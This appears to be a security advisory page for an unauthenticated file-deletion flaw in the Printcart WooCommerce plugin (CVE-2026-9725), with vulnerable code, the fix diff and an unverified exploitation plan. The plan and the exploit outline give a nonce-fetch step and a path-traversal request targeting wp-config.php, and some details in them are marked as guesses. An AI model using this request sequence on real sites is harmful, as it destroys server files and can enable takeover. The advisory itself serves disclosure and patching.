CVE-2026-9725

Printcart Web to Print Product Designer for WooCommerce <= 2.5.2 - Unauthenticated Arbitrary File Deletion

criticalImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
9.1
CVSS Score
9.1
CVSS Score
critical
Severity
2.5.3
Patched in
1d
Time to patch

Description

The Printcart Web to Print Product Designer for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 2.5.2 This is due to insufficient path validation in the store_design_data() function, which constructs a filesystem path from the user-supplied 'nbd_item_key' POST parameter sanitized only with sanitize_text_field() — which does not strip path traversal sequences — and then passes that path directly to Nbdesigner_IO::delete_folder() and PHP's rename(). The nonce protecting the nbd_save_customer_design AJAX action is freely obtainable by unauthenticated users via the nbd_check_use_logged_in endpoint. This makes it possible for unauthenticated attackers to delete arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.5.2
PublishedJuly 2, 2026
Last updatedJuly 3, 2026
Affected pluginprintcart-integration

What Changed in the Fix

Changes introduced in v2.5.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-9725 - Printcart Web to Print Product Designer Arbitrary File Deletion ## 1. Vulnerability Summary The **Printcart Web to Print Product Designer for WooCommerce** plugin (versions <= 2.5.2) contains a critical arbitrary file deletion vulnerability. The vulnera…

Show full research plan

Exploitation Research Plan: CVE-2026-9725 - Printcart Web to Print Product Designer Arbitrary File Deletion

1. Vulnerability Summary

The Printcart Web to Print Product Designer for WooCommerce plugin (versions <= 2.5.2) contains a critical arbitrary file deletion vulnerability. The vulnerability exists because the function store_design_data() (inferred to be in a core design handling file) processes a user-supplied parameter nbd_item_key without sufficient path validation.

While the parameter is sanitized with sanitize_text_field(), this function does not remove path traversal sequences (../). The resulting unsanitized path is passed to Nbdesigner_IO::delete_folder() (defined in includes/class-util.php) or PHP's rename(), allowing an unauthenticated user to delete any file the web server has permissions to access (e.g., wp-config.php).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Actions:
    1. nbd_check_use_logged_in (to retrieve the nonce).
    2. nbd_save_customer_design (the vulnerable sink).
  • Vulnerable Parameter: nbd_item_key (POST).
  • Authentication: None (Action is registered for nopriv).
  • Payload Type: Path Traversal (e.g., ../../../../wp-config.php).

3. Code Flow (Inferred from Description)

  1. Request Entry: An unauthenticated user sends an AJAX request with the action nbd_save_customer_design.
  2. Nonce Verification: The plugin checks for a nonce (e.g., _nbnonce or nonce).
  3. Vulnerable Function Call: The handler calls store_design_data().
  4. Parameter Extraction: store_design_data() retrieves $_POST['nbd_item_key'].
  5. Weak Sanitization: It applies sanitize_text_field($_POST['nbd_item_key']), which preserves ../.
  6. Path Construction: The plugin constructs a path, likely: $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;.
  7. The Sink: The plugin calls Nbdesigner_IO::delete_folder( $path ).
    • As seen in includes/class-util.php:
      public static function delete_folder( $path ) {
          if ( is_dir( $path ) === true ) {
              // Recursive deletion...
          } else if ( is_file( $path ) === true ) {
              return unlink( $path ); // SINK: Arbitrary file deletion
          }
          return false;
      }
      

4. Nonce Acquisition Strategy

The vulnerability description explicitly states that the nonce for nbd_save_customer_design is obtainable via the nbd_check_use_logged_in endpoint.

  1. Identify Shortcode: The plugin uses shortcodes like [nbdesigner] or [nbd_main] (inferred from common WooCommerce designer patterns) to load its environment.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Designer Test" --post_status=publish --post_content="[nbd_main]"
  3. Fetch Nonce via AJAX Endpoint:
    The nbd_check_use_logged_in endpoint likely returns a JSON object containing the nonce.
    • Request: POST /wp-admin/admin-ajax.php?action=nbd_check_use_logged_in
    • Alternative (JS Context): Navigate to the Designer Test page and use browser_eval to find the localization object. Based on the plugin slug printcart-integration, look for objects like nbd_design_data or nbd_main_js.
    • Localization Key (Hypothetical): window.nbd_main_data?.nonce or window.nbd_save_nonce.

5. Exploitation Strategy

Step 1: Obtain the Nonce

Use the http_request tool to hit the unauthenticated nonce endpoint.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Body (URL-encoded): action=nbd_check_use_logged_in
  • Extract: The nonce value from the JSON response.

Step 2: Trigger Deletion

Use the obtained nonce to call the vulnerable action.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Body (URL-encoded):
    action=nbd_save_customer_design&nonce=[NONCE]&nbd_item_key=../../../../../../wp-config.php
    
    (Note: Adjust the number of ../ based on the plugin's data directory depth, typically wp-content/uploads/nbdesigner/temp/ requires 5-6 jumps to reach root).

6. Test Data Setup

  1. Create Target File: Create a dummy file in the WordPress root to prove deletion without breaking the site.
    touch /var/www/html/deletion-test.txt
  2. Determine Path Depth: The plugin usually stores customer data in wp-content/uploads/nbdesigner/.
    Path to root: ../../../../ (from nbdesigner to wp-content, to uploads, to root).

7. Expected Results

  • Step 1 Response: 200 OK with JSON containing a nonce (e.g., {"nonce":"a1b2c3d4e5"}).
  • Step 2 Response: 200 OK. The response body might indicate success or be empty.
  • File System Change: The file /var/www/html/deletion-test.txt will be removed.

8. Verification Steps

  1. Check File Existence (via CLI):
    ls /var/www/html/deletion-test.txt
    Expected: "ls: cannot access ...: No such file or directory"
  2. Confirm Target (via HTTP):
    Attempt to access the file via the browser/http_request.
    Expected: 404 Not Found.

9. Alternative Approaches

If nbd_check_use_logged_in does not return the nonce directly:

  1. Search Source for wp_localize_script: Use grep -r "wp_localize_script" . to find which JS object carries the nonce.
  2. Browser Extraction:
    • browser_navigate("http://localhost:8080/page-with-designer-shortcode")
    • browser_eval("window.nbdesigner_config.nonce") (or similar object key).
  3. Action Specifics: If delete_folder is not called, check if rename() is used to move a file from a controlled source to a controlled destination, effectively deleting the source or overwriting a critical file.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Printcart Web to Print Product Designer for WooCommerce plugin (<= 2.5.2) is vulnerable to unauthenticated arbitrary file deletion due to insufficient path validation in the `store_design_data()` function. An attacker can use path traversal sequences in the 'nbd_item_key' parameter to delete critical server files, such as wp-config.php, potentially leading to remote code execution.

Vulnerable Code

// includes/class.nbdesigner.php (~ line 3704)
if (isset($_POST['nbd_item_key']) && $_POST['nbd_item_key'] != '') {
    /* Edit design 
     * In case edit template, $design_type = 'template'
     */
    $nbd_item_key = sanitize_text_field($_POST['nbd_item_key']);

---

// includes/class.nbdesigner.php (~ line 3246)
private function store_design_data($nbd_item_key, $data, $product_config, $product_option, $product_upload)
{
    $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;
    if (file_exists($path . '_old'))
        Nbdesigner_IO::delete_folder($path . '_old');

---

// includes/class-util.php (~ line 94)
} else if ( is_file( $path ) === true ) {
    return unlink( $path );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.2/includes/class-helper.php /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.3/includes/class-helper.php
--- /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.2/includes/class-helper.php	2026-06-09 19:42:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.3/includes/class-helper.php	2026-07-02 07:38:48.000000000 +0000
@@ -77,9 +77,82 @@
+if ( ! function_exists( 'nbd_sanitize_item_key' ) ) {
+    /**
+     * Sanitize a customer-design item key (folder name under NBDESIGNER_CUSTOMER_DIR)
+     * received from request input ($_GET/$_POST).
+     *
+     * @since 2.5.3
+     * @param mixed $key Raw value coming from $_GET / $_POST.
+     * @return string Safe key ([A-Za-z0-9_-]{1,128}), or empty string if invalid.
+     */
+    function nbd_sanitize_item_key( $key ) {
+        if ( ! is_scalar( $key ) ) {
+            return '';
+        }
+        $key = (string) $key;
+        $key = basename( $key );
+        if ( ! preg_match( '/^[A-Za-z0-9_\-]{1,128}$/', $key ) ) {
+            return '';
+        }
+        return $key;
+    }
+}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.2/includes/class.nbdesigner.php /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.3/includes/class.nbdesigner.php
--- /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.2/includes/class.nbdesigner.php	2026-06-09 19:42:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/printcart-integration/2.5.3/includes/class.nbdesigner.php	2026-07-02 07:38:48.000000000 +0000
@@ -3246,6 +3253,11 @@
     private function store_design_data($nbd_item_key, $data, $product_config, $product_option, $product_upload)
     {
+        // Defensive: never touch the filesystem with an untrusted key, even if the caller forgot to sanitize.
+        $nbd_item_key = nbd_sanitize_item_key( $nbd_item_key );
+        if ( '' === $nbd_item_key ) {
+            return false;
+        }
         $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;
         if (file_exists($path . '_old'))
             Nbdesigner_IO::delete_folder($path . '_old');
@@ -3697,10 +3712,14 @@
         $result['product_id'] = $product_id;
         $result['variation_id'] = $variation_id;
         if (isset($_POST['nbd_item_key']) && $_POST['nbd_item_key'] != '') {
-            $nbd_item_key = sanitize_text_field($_POST['nbd_item_key']);
+            $nbd_item_key = nbd_sanitize_item_key( $_POST['nbd_item_key'] );
+            if ( '' === $nbd_item_key ) {
+                $result['mes'] = esc_html__( 'Invalid design key', 'web-to-print-online-designer' );
+                nbd_die( $result );
+            }
... (truncated)

Exploit Outline

1. **Nonce Acquisition**: An unauthenticated attacker first retrieves a valid security nonce by sending a POST request to the `wp-admin/admin-ajax.php?action=nbd_check_use_logged_in` endpoint. 2. **Payload Construction**: The attacker crafts a path traversal payload targeting a specific file on the server (e.g., `../../../../wp-config.php`). 3. **Request Trigger**: A second POST request is sent to `wp-admin/admin-ajax.php?action=nbd_save_customer_design` with the acquired nonce and the `nbd_item_key` parameter set to the traversal payload. 4. **Execution**: Because the plugin uses `sanitize_text_field()` on the input (which does not remove `../`) and subsequently passes this path to `Nbdesigner_IO::delete_folder()` or `rename()`, the targeted file is deleted from the filesystem.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.